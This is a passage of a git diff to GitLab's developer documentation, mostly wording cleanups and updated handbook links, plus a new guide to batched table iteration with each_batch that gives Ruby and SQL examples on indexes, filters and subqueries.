"identifier=user-1" --data "changes=0000000000000000000000000000000000000000 fd9e76b9136bdd9fe217061b497745792fe5a5ee gh-pages\n" http://localhost:3001/api/v4/internal/post_receive +curl --request POST --header "Gitlab-Shared-Secret: <Base64 encoded secret>" --data "gl_repository=project-7" --data "identifier=user-1" --data "changes=0000000000000000000000000000000000000000 fd9e76b9136bdd9fe217061b497745792fe5a5ee gh-pages\n" "http://localhost:3001/api/v4/internal/post_receive" ``` Example response: @@ -385,7 +385,7 @@ These endpoints are all authenticated using JWT. The JWT secret is stored in a f specified in `config/gitlab.yml`. By default, the location is in the root of the GitLab Rails app in a file called `.gitlab_kas_secret`. -CAUTION: **Caution:** +WARNING: The Kubernetes agent is under development and is not recommended for production use. ### Kubernetes agent information diff --git a/doc/development/internal_users.md b/doc/development/internal_users.md index 9f1428dce80..35db2016e1c 100644 --- a/doc/development/internal_users.md +++ b/doc/development/internal_users.md @@ -11,7 +11,7 @@ info: "See the Technical Writers assigned to Development Guidelines: https://abo GitLab uses internal users (sometimes referred to as "bots") to perform actions or functions that cannot be attributed to a regular user. -These users are created programatically throughout the codebase itself when +These users are created programmatically throughout the codebase itself when necessary, and do not count towards a license limit. They are used when a traditional user account would not be applicable, for diff --git a/doc/development/issuable-like-models.md b/doc/development/issuable-like-models.md index 9029886c334..b3be2b1b2e6 100644 --- a/doc/development/issuable-like-models.md +++ b/doc/development/issuable-like-models.md @@ -1,7 +1,7 @@ --- stage: Plan group: Project Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Issuable-like Rails models utilities diff --git a/doc/development/issue_types.md b/doc/development/issue_types.md index 416aa65b13f..d02ff590352 100644 --- a/doc/development/issue_types.md +++ b/doc/development/issue_types.md @@ -1,7 +1,7 @@ --- stage: Plan group: Project Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Issue Types diff --git a/doc/development/iterating_tables_in_batches.md b/doc/development/iterating_tables_in_batches.md index 062b755de38..3953e7097dd 100644 --- a/doc/development/iterating_tables_in_batches.md +++ b/doc/development/iterating_tables_in_batches.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Database -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Iterating Tables In Batches @@ -41,3 +41,334 @@ User Load (0.7ms) SELECT "users"."id" FROM "users" WHERE ("users"."id" >= 4165 The API of this method is similar to `in_batches`, though it doesn't support all of the arguments that `in_batches` supports. You should always use `each_batch` _unless_ you have a specific need for `in_batches`. + +## Column definition + +`EachBatch` uses the primary key of the model by default for the iteration. This works most of the cases, however in some cases, you might want to use a different column for the iteration. + +```ruby +Project.distinct.each_batch(column: :creator_id, of: 10) do |relation| + puts User.where(id: relation.select(:creator_id)).map(&:id) +end +``` + +The query above iterates over the project creators and prints them out without duplications. + +NOTE: +In case the column is not unique (no unique index definition), calling the `distinct` method on the relation is necessary. + +## `EachBatch` in data migrations + +When dealing with data migrations the preferred way to iterate over large volume of data is using `EachBatch`. + +A special case of data migration is a [background migration](background_migrations.md#scheduling) +where the actual data modification is executed in a background job. The migration code that determines +the data ranges (slices) and schedules the background jobs uses `each_batch`. + +## Efficient usage of `each_batch` + +`EachBatch` helps iterating over large tables. It's important to highlight that `EachBatch` is not going to magically solve all iteration related performance problems and it might not help at all in some scenarios. From the database point of view, correctly configured database indexes are also necessary to make `EachBatch` perform well. + +### Example 1: Simple iteration + +Let's consider that we want to iterate over the `users` table and print the `User` records to the standard output. The `users` table contains millions of records, thus running one query to fetch the users will likely time out. + + + +This is a simplified version of the `users` table which contains several rows. We have a few smaller gaps in the `id` column to make the example a bit more realistic (a few records were already deleted). Currently we have one index on the `id` field. + +Loading all users into memory (avoid): + +```ruby +users = User.all + +users.each { |user| puts user.inspect } +``` + +Use `each_batch`: + +```ruby +# Note: for this example I picked 5 as the batch size, the default is 1_000 +User.each_batch(of: 5) do |relation| + relation.each { |user| puts user.inspect } +end +``` + +#### How does `each_batch` work? + +As the first step, it finds the lowest `id` (start `id`) in the table by executing the following database query: + +```sql +SELECT "users"."id" FROM "users" ORDER BY "users"."id" ASC LIMIT 1 +``` + + + +Notice that the query only reads data from the index (`INDEX ONLY SCAN`), the table is not accessed. Database indexes are sorted so taking out the first item is a very cheap operation. + +The next step is to find the next `id` (end `id`) which should respect the batch size configuration. In this example we used batch size of 5. `EachBatch` uses the `OFFSET` clause to get a "shifted" `id` value. + +```sql +SELECT "users"."id" FROM "users" WHERE "users"."id" >= 1 ORDER BY "users"."id" ASC LIMIT 1 OFFSET 5 +``` + + + +Again, the query only looks into the index. The `OFFSET 5` takes out the sixth `id` value: this query reads a maximum of six items from the index regardless of the table size or the iteration count. + +At this point we know the `id` range for the first batch. Now it's time to construct the query for the `relation` block. + +```sql +SELECT "users".* FROM "users" WHERE "users"."id" >= 1 AND "users"."id" < 302 +``` + + + +Notice the `<` sign. Previously six items were read from the index and in this query the last value is "excluded". The query will look at the index to get the location of the five `user` rows on the disk and read the rows from the table. The returned array is processed in Ruby. + +The first iteration is done. For the next iteration, the last `id` value is reused from the previous iteration in order to find out the next end `id` value. + +```sql +SELECT "users"."id" FROM "users" WHERE "users"."id" >= 302 ORDER BY "users"."id" ASC LIMIT 1 OFFSET 5 +``` + + + +Now we can easily construct the `users` query for the second iteration. + +```sql +SELECT "users".* FROM "users" WHERE "users"."id" >= 302 AND "users"."id" < 353 +``` + + + +### Example 2: Iteration with filters + +Building on top of the previous example, we want to print users with zero sign-in count. We keep track of the number of sign-ins in the `sign_in_count` column so we write the following code: + +```ruby +users = User.where(sign_in_count: 0) + +users.each_batch(of: 5) do |relation| + relation.each { |user| puts user.inspect } +end +``` + +`each_batch` will produce the following SQL query for the start `id` value: + +```sql +SELECT "users"."id" FROM "users" WHERE "users"."sign_in_count" = 0 ORDER BY "users"."id" ASC LIMIT 1 +``` + +Selecting only the `id` column and ordering by `id` is going to "force" the database to use the index on the `id` (primary key index) column, however we also have an extra condition on the `sign_in_count` column. The column is not part of the index, so the database needs to look into the actual table to find the first matching row. + + + +NOTE: +The number of scanned rows depends on the data distribution in the table. + +- Best case scenario: the first user was never logged in. The database reads only one row. +- Worst case scenario: all users were logged in at least once. The database reads all rows. + +In this particular example the database had to read 10 rows (regardless of our batch size setting) to determine the first `id` value. In a "real-world" application it's hard to predict whether the filtering is going to cause problems or not. In case of GitLab, verifying the data on a production replica is a good start, but keep in mind that data distribution on GitLab.com can be different from self-managed instances. + +#### Improve filtering with `each_batch` + +##### Specialized conditional index + +```sql +CREATE INDEX index_on_users_never_logged_in ON users (id) WHERE sign_in_count = 0 +``` + +This is how our table and the newly created index looks like: + + + +This index definition covers the conditions on the `id` and `sign_in_count` columns thus makes the `each_batch` queries very effective (similar to the simple iteration example). + +It's rare when a user was never signed in so we anticipate small index size. Including only the `id` in the index definition also helps keeping the index size small. + +##### Index on columns + +Later on we might want to iterate over the table filtering for different `sign_in_count` values, in those cases we cannot use the previously suggested conditional index because the `WHERE` condition does not match with our new filter (`sign_in_count > 10`). + +To address this problem, we have two options: + +- Create another, conditional index to cover the new query. +- Replace the index with more generalized configuration. + +NOTE: +Having multiple indexes on the same table and on the same columns could be a performance bottleneck when writing data. + +Let's consider the following index (avoid): + +```sql +CREATE INDEX index_on_users_never_logged_in ON users (id, sign_in_count) +``` + +The index definition starts with the `id` column which makes the index very inefficient from data selectivity point of view. + +```sql +SELECT "users"."id" FROM "users" WHERE "users"."sign_in_count" = 0 ORDER BY "users"."id" ASC LIMIT 1 +``` + +Executing the query above results in an `INDEX ONLY SCAN`. However, the query still needs to iterate over unknown number of entries in the index, and then find the first item where the `sign_in_count` is `0`. + + + +We can improve the query significantly by swapping the columns in the index definition (prefer). + +```sql +CREATE INDEX index_on_users_never_logged_in ON users (sign_in_count, id) +``` + + + +The following index definition is not going to work well with `each_batch` (avoid). + +```sql +CREATE INDEX index_on_users_never_logged_in ON users (sign_in_count) +``` + +Since `each_batch` builds range queries based on the `id` column, this index cannot be used efficiently. The DB reads the rows from the table or uses a bitmap search where the primary key index is also read. + +##### "Slow" iteration + +Slow iteration means that we use a good index configuration to iterate over the table and apply filtering on the yielded relation. + +```ruby +User.each_batch(of: 5) do |relation| + relation.where(sign_in_count: 0).each { |user| puts user inspect } +end +``` + +The iteration uses the primary key index (on the `id` column) which makes it safe from statement +timeouts. The filter (`sign_in_count: 0`) is applied on the `relation` where the `id` is already constrained (range). The number of rows are limited. + +Slow iteration generally takes more time to finish. The iteration count is higher and +one iteration could yield fewer records than the batch size. Iterations may even yield +0 records. This is not an optimal solution; however, in some cases (especially when +dealing with large tables) this is the only viable option. + +### Using Subqueries + +Using subqueries in your `each_batch` query does not work well in most cases. Consider the following example: + +```ruby +projects = Project.where(creator_id: Issue.where(confidential: true).select(:author_id)) + +projects.each_batch do |relation| + # do something +end +``` + +The iteration uses the `id` column of the `projects` table. The batching does not affect the subquery. +This means for each iteration, the subquery is executed by the database. This adds a constant "load" +on the query which often ends up in statement timeouts. We have an unknown number of confidential +issues, the execution time and the accessed database rows depends on the data distribution in the +`issues` table. + +NOTE: +Using subqueries works only when the subquery returns a small number of rows. + +#### Improving Subqueries + +When dealing with subqueries, a slow iteration approach could work: the filter on `creator_id` can be part of the generated `relation` object. + +```ruby +projects = Project.all + +projects.each_batch do |relation| + relation.where(creator_id: Issue.where(confidential: true).select(:author_id)) +end +``` + +If the query on the `issues` table itself is not performant enough, a nested loop could be constructed. Try to avoid it when possible. + +```ruby +projects = Project.all + +projects.each_batch do |relation| + issues = Issue.where(confidential: true) + + issues.each_batch do |issues_relation| + relation.where(creator_id: issues_relation.select(:author_id)) + end +end +``` + +If we know that the `issues` table has many more rows than `projects`, it would make sense to flip the queries, where the `issues` table is batched first. + +### Using `JOIN` and `EXISTS` + +When to use `JOINS`: + +- When there's a 1:1 or 1:N relationship between the tables where we know that the joined record +(almost) always exists. This works well for "extension-like" tables: + - `projects` - `project_settings` + - `users` - `user_details` + - `users` - `user_statuses` +- `LEFT JOIN` works well in this case. Conditions on the joined table need to go to the yielded relation so the iteration is not affected by the data distribution in the joined table. + +Example: + +```ruby +users = User.joins("LEFT JOIN personal_access_tokens on personal_access_tokens.user_id = users.id") + +users.each_batch do |relation| + relation.where("personal_access_tokens.name = 'name'") +end +``` + +`EXISTS` queries should be added only to the inner `relation` of the `each_batch` query: + +```ruby +User.each_batch do |relation| + relation.where("EXISTS (SELECT 1 FROM ...") +end +``` + +### Complex queries on the relation object + +When the `relation` object has several extra conditions, the execution plans might become "unstable". + +Example: + +```ruby +Issue.each_batch do |relation| + relation + .joins(:metrics) + .joins(:merge_requests_closing_issues) + .where("id IN (SELECT ...)") + .where(confidential: true) +end +``` + +Here, we expect that the `relation` query reads the `BATCH_SIZE` of user records and then +filters down the results according to the provided queries. The planner might decide that +using a bitmap index lookup with the index on the `confidential` column is a better way to +execute the query. This can cause unexpectedly high amount of rows to be read and the query +could time out. + +Problem: we know for sure that the relation is returning maximum `BATCH_SIZE` of records, however the planner does not know this. + +Common table expression (CTE) trick to force the range query to execute first: + +```ruby +Issue.each_batch(of: 1000) do |relation| + cte = Gitlab::SQL::CTE.new(:batched_relation, relation.limit(1000)) + + scope = cte + .apply_to(Issue.all) + .joins(:metrics) + .joins(:merge_requests_closing_issues) + .where("id IN (SELECT ...)") + .where(confidential: true) + + puts scope.to_a +end +``` + +### `EachBatch` vs `BatchCount` + +When adding new counters for usage ping, the preferred way to count records is using the `Gitlab::Database::BatchCount` class. The iteration logic implemented in `BatchCount` has similar performance characteristics like `EachBatch`. Most of the tips and suggestions for improving `BatchCount` mentioned above applies to `BatchCount` as well. diff --git a/doc/development/kubernetes.md b/doc/development/kubernetes.md index a54798b4c35..a56a0bd48be 100644 --- a/doc/development/kubernetes.md +++ b/doc/development/kubernetes.md @@ -1,12 +1,12 @@ --- stage: Configure group: Configure -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Kubernetes integration - development guidelines -This document provides various guidelines when developing for GitLab's +This document provides various guidelines when developing for the GitLab [Kubernetes integration](../user/project/clusters/index.md). ## Development diff --git a/doc/development/lfs.md b/doc/development/lfs.md index 64bc709ff9a..9df1f659654 100644 --- a/doc/development/lfs.md +++ b/doc/development/lfs.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Git LFS @@ -9,8 +9,8 @@ info: To determine the technical writer assigned to the Stage/Group associated w ## Deep Dive In April 2019, Francisco Javier López hosted a Deep Dive (GitLab team members only: `https://gitlab.com/gitlab-org/create-stage/issues/1`) -on GitLab's [Git LFS](../topics/git/lfs/index.md) implementation to share his domain -specific knowledge with anyone who may work in this part of the code base in the future. +on the GitLab [Git LFS](../topics/git/lfs/index.md) implementation to share his domain +specific knowledge with anyone who may work in this part of the codebase in the future. You can find the [recording on YouTube](https://www.youtube.com/watch?v=Yyxwcksr0Qc), and the slides on [Google Slides](https://docs.google.com/presentation/d/1E-aw6-z0rYd0346YhIWE7E9A65zISL9iIMAOq2zaw9E/edit) and in [PDF](https://gitlab.com/gitlab-org/create-stage/uploads/07a89257a140db067bdfb484aecd35e1/Git_LFS_Deep_Dive__Create_.pdf). diff --git a/doc/development/licensed_feature_availability.md b/doc/development/licensed_feature_availability.md index f83a57fe1ca..3a6bdbc973f 100644 --- a/doc/development/licensed_feature_availability.md +++ b/doc/development/licensed_feature_availability.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Licensed feature availability **(STARTER)** @@ -30,7 +30,7 @@ project.feature_available?(:feature_symbol) However, for features such as [Geo](../administration/geo/index.md) and [Load balancing](../administration/database_load_balancing.md), which cannot be restricted -to only a subset of projects or namespaces, the check will be made directly in +to only a subset of projects or namespaces, the check is made directly in the instance license. 1. Add the feature symbol on `EES_FEATURES`, `EEP_FEATURES` or `EEU_FEATURES` constants in diff --git a/doc/development/licensing.md b/doc/development/licensing.md index d1808822ba6..d7c2c764883 100644 --- a/doc/development/licensing.md +++ b/doc/development/licensing.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # GitLab Licensing and Compatibility @@ -12,16 +12,16 @@ info: To determine the technical writer assigned to the Stage/Group associated w In order to comply with the terms the libraries we use are licensed under, we have to make sure to check new gems for compatible licenses whenever they're added. To automate this process, we use the [license_finder](https://github.com/pivotal/LicenseFinder) gem by Pivotal. It runs every time a new commit is pushed and verifies that all gems and node modules in the bundle use a license that doesn't conflict with the licensing of either GitLab Community Edition or GitLab Enterprise Edition. -There are some limitations with the automated testing, however. CSS, JavaScript, or Ruby libraries which are not included by way of Bundler, NPM, or Yarn (for instance those manually copied into our source tree in the `vendor` directory), must be verified manually and independently. Take care whenever one such library is used, as automated tests won't catch problematic licenses from them. +There are some limitations with the automated testing, however. CSS, JavaScript, or Ruby libraries which are not included by way of Bundler, NPM, or Yarn (for instance those manually copied into our source tree in the `vendor` directory), must be verified manually and independently. Take care whenever one such library is used, as automated tests don't catch problematic licenses from them. -Some gems may not include their license information in their `gemspec` file, and some node modules may not include their license information in their `package.json` file. These won't be detected by License Finder, and will have to be verified manually. +Some gems may not include their license information in their `gemspec` file, and some node modules may not include their license information in their `package.json` file. These aren't detected by License Finder, and must be verified manually. ### License Finder commands -NOTE: **Note:** +NOTE: License Finder currently uses GitLab misused terms of `whitelist` and `blacklist`. As a result, the commands below reference those terms. We've created an [issue on their project](https://github.com/pivotal/LicenseFinder/issues/745) to propose that they rename their commands. -There are a few basic commands License Finder provides that you'll need in order to manage license detection. +There are a few basic commands License Finder provides that you need in order to manage license detection. To verify that the checks are passing, and/or to see what dependencies are causing the checks to fail: diff --git a/doc/development/logging.md b/doc/development/logging.md index 14812978f2d..07ec9d53145 100644 --- a/doc/development/logging.md +++ b/doc/development/logging.md @@ -1,7 +1,7 @@ --- stage: Monitor group: Health -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # GitLab Developers Guide to Logging @@ -12,7 +12,7 @@ administrators and GitLab team members to diagnose problems in the field. ## Don't use `Rails.logger` Currently `Rails.logger` calls all get saved into `production.log`, which contains -a mix of Rails' logs and other calls developers have inserted in the code base. +a mix of Rails' logs and other calls developers have inserted in the codebase. For example: ```plaintext @@ -35,14 +35,14 @@ Completed 200 OK in 166ms (Views: 117.4ms | ActiveRecord: 27.2ms) These logs suffer from a number of problems: -1. They often lack timestamps or other contextual information (e.g. project ID, user) +1. They often lack timestamps or other contextual information (for example, project ID or user) 1. They may span multiple lines, which make them hard to find via Elasticsearch. 1. They lack a common structure, which make them hard to parse by log forwarders, such as Logstash or Fluentd. This also makes them hard to search. -Note that currently on GitLab.com, any messages in `production.log` will -NOT get indexed by Elasticsearch due to the sheer volume and noise. They +Note that currently on GitLab.com, any messages in `production.log` aren't +indexed by Elasticsearch due to the sheer volume and noise. They do end up in Google Stackdriver, but it is still harder to search for logs there. See the [GitLab.com logging documentation](https://gitlab.com/gitlab-com/runbooks/blob/master/logging/doc/README.md) @@ -73,7 +73,7 @@ importer progresses. Here's what to do: make it easy for people to search pertinent logs in one place. For example, `geo.log` contains all logs pertaining to GitLab Geo. To create a new file: - 1. Choose a filename (e.g. `importer_json.log`). + 1. Choose a filename (for example, `importer_json.log`). 1. Create a new subclass of `Gitlab::JsonLogger`: ```ruby @@ -99,7 +99,7 @@ importer progresses. Here's what to do: ``` Note that it's useful to memoize this because creating a new logger - each time you log will open a file, adding unnecessary overhead. + each time you log opens a file, adding unnecessary overhead. 1. Now insert log messages into your code. When adding logs, make sure to include all the context as key-value pairs: @@ -129,16 +129,16 @@ an Elasticsearch-specific way, the concepts should translate to many systems you might use to index structured logs. GitLab.com uses Elasticsearch to index log data. -Unless a field type is explicitly mapped, Elasticsearch will infer the type from +Unless a field type is explicitly mapped, Elasticsearch infers the type from the first instance of that field value it sees. Subsequent instances of that -field value with different types will either fail to be indexed, or in some -cases (scalar/object conflict), the whole log line will be dropped. +field value with different types either fail to be indexed, or in some +cases (scalar/object conflict), the whole log line is dropped. GitLab.com's logging Elasticsearch sets [`ignore_malformed`](https://www.elastic.co/guide/en/elasticsearch/reference/current/ignore-malformed.html), which allows documents to be indexed even when there are simpler sorts of mapping conflict (for example, number / string), although indexing on the affected fields -will break. +breaks. Examples: @@ -177,17 +177,24 @@ challenged to choose between seconds, milliseconds or any other unit, lean towar (with microseconds precision, i.e. `Gitlab::InstrumentationHelper::DURATION_PRECISION`). In order to make it easier to track timings in the logs, make sure the log key has `_s` as -suffix and `duration` within its name (e.g., `view_duration_s`). +suffix and `duration` within its name (for example, `view_duration_s`). ## Multi-destination Logging -GitLab is transitioning from unstructured/plaintext logs to structured/JSON logs. During this transition period some logs will be recorded in multiple formats through multi-destination logging. +GitLab is transitioning from unstructured/plaintext logs to structured/JSON logs. During this transition period some logs are recorded in multiple formats through multi-destination logging. ### How to use multi-destination logging -Create a new logger class, inheriting from `MultiDestinationLogger` and add an array of loggers to a `LOGGERS` constant. The loggers should be classes that descend from `Gitlab::Logger`. e.g. the user defined loggers in the following examples, could be inheriting from `Gitlab::Logger` and `Gitlab::JsonLogger`, respectively. +Create a new logger class, inheriting from `MultiDestinationLogger` and add an +array of loggers to a `LOGGERS` constant. The loggers should be classes that +descend from `Gitlab::Logger`. For example, the user-defined loggers in the +following examples could be inheriting from `Gitlab::Logger` and +`Gitlab::JsonLogger`, respectively. -You must specify one of the loggers as the `primary_logger`. The `primary_logger` will be used when information about this multi-destination logger is displayed in the app, e.g. using the `Gitlab::Logger.read_latest` method. +You must specify one of the loggers as the `primary_logger`. The +`primary_logger` is used when information about this multi-destination logger is +displayed in the application (for example, using the `Gitlab::Logger.read_latest` +method). The following example sets one of the defined `LOGGERS` as a `primary_logger`. @@ -207,19 +214,19 @@ module Gitlab end ``` -You can now call the usual logging methods on this multi-logger, e.g. +You can now call the usual logging methods on this multi-logger. For example: ```ruby FancyMultiLogger.info(message: "Information") ``` -This message will be logged by each logger registered in `FancyMultiLogger.loggers`. +This message is logged by each logger registered in `FancyMultiLogger.loggers`. ### Passing a string or hash for logging When passing a string or hash to a `MultiDestinationLogger`, the log lines could be formatted differently, depending on the kinds of `LOGGERS` set. -e.g. let's partially define the loggers from the previous example: +For example, let's partially define the loggers from the previous example: ```ruby module Gitlab @@ -304,7 +311,7 @@ It should be noted that manual logging of exceptions is not allowed, as: 1. Very often manually logged exception needs to be tracked to Sentry as well, 1. Manually logged exceptions does not use `correlation_id`, which makes hard to pin them to request, user and context in which this exception was raised, -1. It is very likely that manually logged exceptions will end-up across +1. Manually logged exceptions often end up across multiple files, which increases burden scraping all logging files. To avoid duplicating and having consistent behavior the `Gitlab::ErrorTracking` @@ -356,7 +363,7 @@ end ## Additional steps with new log files -1. Consider log retention settings. By default, Omnibus will rotate any +1. Consider log retention settings. By default, Omnibus rotates any logs in `/var/log/gitlab/gitlab-rails/*.log` every hour and [keep at most 30 compressed files](https://docs.gitlab.com/omnibus/settings/logs.html#logrotate). On GitLab.com, that setting is only 6 compressed files. These settings should suffice diff --git a/doc/development/mass_insert.md b/doc/development/mass_insert.md index dfffab564bc..4b1716ff00a 100644 --- a/doc/development/mass_insert.md +++ b/doc/development/mass_insert.md @@ -1,13 +1,13 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Mass inserting Rails models Setting the environment variable [`MASS_INSERT=1`](rake_tasks.md#environment-variables) -when running [`rake setup`](rake_tasks.md) will create millions of records, but these records +when running [`rake setup`](rake_tasks.md) creates millions of records, but these records aren't visible to the `root` user by default. To make any number of the mass-inserted projects visible to the `root` user, run diff --git a/doc/development/merge_request_performance_guidelines.md b/doc/development/merge_request_performance_guidelines.md index a5d9a653472..8d5b2db828e 100644 --- a/doc/development/merge_request_performance_guidelines.md +++ b/doc/development/merge_request_performance_guidelines.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Merge Request Performance Guidelines @@ -46,8 +46,8 @@ and running. Can the queries used potentially take down any critical services and result in engineers being woken up in the night? Can a malicious user abuse the code to -take down a GitLab instance? Will my changes simply make loading a certain page -slower? Will execution time grow exponentially given enough load or data in the +take down a GitLab instance? Do my changes simply make loading a certain page +slower? Does execution time grow exponentially given enough load or data in the database? These are all questions one should ask themselves before submitting a merge @@ -67,14 +67,14 @@ in turn can request a performance specialist to review the changes. ## Think outside of the box -Everyone has their own perception how the new feature is going to be used. +Everyone has their own perception of how to use the new feature. Always consider how users might be using the feature instead. Usually, users test our features in a very unconventional way, like by brute forcing or abusing edge conditions that we have. ## Data set -The data set that will be processed by the merge request should be known +The data set the merge request processes should be known and documented. The feature should clearly document what the expected data set is for this feature to process, and what problems it might cause. @@ -86,8 +86,8 @@ from the repository and perform search for the set of files. As an author you should in context of that problem consider the following: -1. What repositories are going to be supported? -1. How long it will take for big repositories like Linux kernel? +1. What repositories are planned to be supported? +1. How long it do big repositories like Linux kernel take? 1. Is there something that we can do differently to not process such a big data set? 1. Should we build some fail-safe mechanism to contain @@ -96,28 +96,28 @@ the following: ## Query plans and database structure -The query plan can tell us if we will need additional +The query plan can tell us if we need additional indexes, or expensive filtering (such as using sequential scans). Each query plan should be run against substantial size of data set. For example, if you look for issues with specific conditions, you should consider validating a query against a small number (a few hundred) and a big number (100_000) of issues. -See how the query will behave if the result will be a few +See how the query behaves if the result is a few and a few thousand. This is needed as we have users using GitLab for very big projects and in a very unconventional way. Even if it seems that it's unlikely -that such a big data set will be used, it's still plausible that one -of our customers will encounter a problem with the feature. +that such a big data set is used, it's still plausible that one +of our customers could encounter a problem with the feature. -Understanding ahead of time how it's going to behave at scale, even if we accept it, -is the desired outcome. We should always have a plan or understanding of what it will take +Understanding ahead of time how it behaves at scale, even if we accept it, +is the desired outcome. We should always have a plan or understanding of what is needed to optimize the feature for higher usage patterns. Every database structure should be optimized and sometimes even over-described in preparation for easy extension. The hardest part after some point is -data migration. Migrating millions of rows will always be troublesome and +data migration. Migrating millions of rows is always troublesome and can have a negative impact on the application. To better understand how to get help with the query plan reviews @@ -130,7 +130,7 @@ queries unless absolutely necessary. The total number of queries executed by the code modified or added by a merge request must not increase unless absolutely necessary. When building features it's -entirely possible you will need some extra queries, but you should try to keep +entirely possible you need some extra queries, but you should try to keep this at a minimum. As an example, say you introduce a feature that updates a number of database @@ -144,7 +144,7 @@ objects_to_update.each do |object| end ``` -This will end up running one query for every object to update. This code can +This means running one query for every object to update. This code can easily overload a database given enough rows to update or many instances of this code running in parallel. This particular problem is known as the ["N+1 query problem"](https://guides.rubyonrails.org/active_record_querying.html#eager-loading-associations). You can write a test with [QueryRecorder](query_recorder.md) to detect this and prevent regressions. @@ -162,11 +162,11 @@ query. This in turn makes it much harder for this code to overload a database. **Summary:** a merge request **should not** execute duplicated cached queries. -Rails provides an [SQL Query Cache](cached_queries.md#cached-queries-guidelines), -used to cache the results of database queries for the duration of the request. +Rails provides an [SQL Query Cache](cached_queries.md#cached-queries-guidelines), +used to cache the results of database queries for the duration of the request. -See [why cached queries are considered bad](cached_queries.md#why-cached-queries-are-considered-bad) and -[how to detect them](cached_queries.md#how-to-detect). +See [why cached queries are considered bad](cached_queries.md#why-cached-queries-are-considered-bad) and +[how to detect them](cached_queries.md#how-to-detect-cached-queries). The code introduced by a merge request, should not execute multiple duplicated cached queries. @@ -189,8 +189,8 @@ build.project == pipeline_project # => true ``` -When we call `build.project`, it will not hit the database, it will use the cached result, but it will re-instantiate -same pipeline project object. It turns out that associated objects do not point to the same in-memory object. +When we call `build.project`, it doesn't hit the database, it uses the cached result, but it re-instantiates +the same pipeline project object. It turns out that associated objects do not point to the same in-memory object. If we try to serialize each build: @@ -200,7 +200,7 @@ pipeline.builds.each do |build| end ``` -It will re-instantiate project object for each build, instead of using the same in-memory object. +It re-instantiates project object for each build, instead of using the same in-memory object. In this particular case the workaround is fairly easy: @@ -212,7 +212,7 @@ end ``` We can assign `pipeline.project` to each `build.project`, since we know it should point to the same project. -This will allow us that each build point to the same in-memory project, +This allows us that each build point to the same in-memory project, avoiding the cached SQL query and re-instantiation of the project object for each build. ## Executing Queries in Loops @@ -323,7 +323,7 @@ Certain UI elements may not always be needed. For example, when hovering over a diff line there's a small icon displayed that can be used to create a new comment. Instead of always rendering these kind of elements they should only be rendered when actually needed. This ensures we don't spend time generating -Haml/HTML when it's not going to be used. +Haml/HTML when it's not used. ## Instrumenting New Code @@ -411,8 +411,8 @@ The quota should be optimised to a level that we consider the feature to be performant and usable for the user, but **not limiting**. **We want the features to be fully usable for the users.** -**However, we want to ensure that the feature will continue to perform well if used at its limit** -**and it won't cause availability issues.** +**However, we want to ensure that the feature continues to perform well if used at its limit** +**and it doesn't cause availability issues.** Consider that it's always better to start with some kind of limitation, instead of later introducing a breaking change that would result in some @@ -433,11 +433,11 @@ The intent of quotas could be different: Examples: -1. Pipeline Schedules: It's very unlikely that user will want to create +1. Pipeline Schedules: It's very unlikely that user wants to create more than 50 schedules. In such cases it's rather expected that this is either misuse or abuse of the feature. Lack of the upper limit can result - in service degradation as the system will try to process all schedules + in service degradation as the system tries to process all schedules assigned the project. 1. GitLab CI/CD includes: We started with the limit of maximum of 50 nested includes. @@ -477,7 +477,7 @@ We can consider the following types of storages: for most of our implementations. Even though this allows the above limit to be significantly larger, it does not really mean that you can use more. The shared temporary storage is shared by all nodes. Thus, the job that uses significant amount of that space or performs a lot - of operations will create a contention on execution of all other jobs and request + of operations creates a contention on execution of all other jobs and request across the whole application, this can easily impact stability of the whole GitLab. Be respectful of that. diff --git a/doc/development/migration_style_guide.md b/doc/development/migration_style_guide.md index 84679a78545..8cdfbd558ca 100644 --- a/doc/development/migration_style_guide.md +++ b/doc/development/migration_style_guide.md @@ -1,13 +1,13 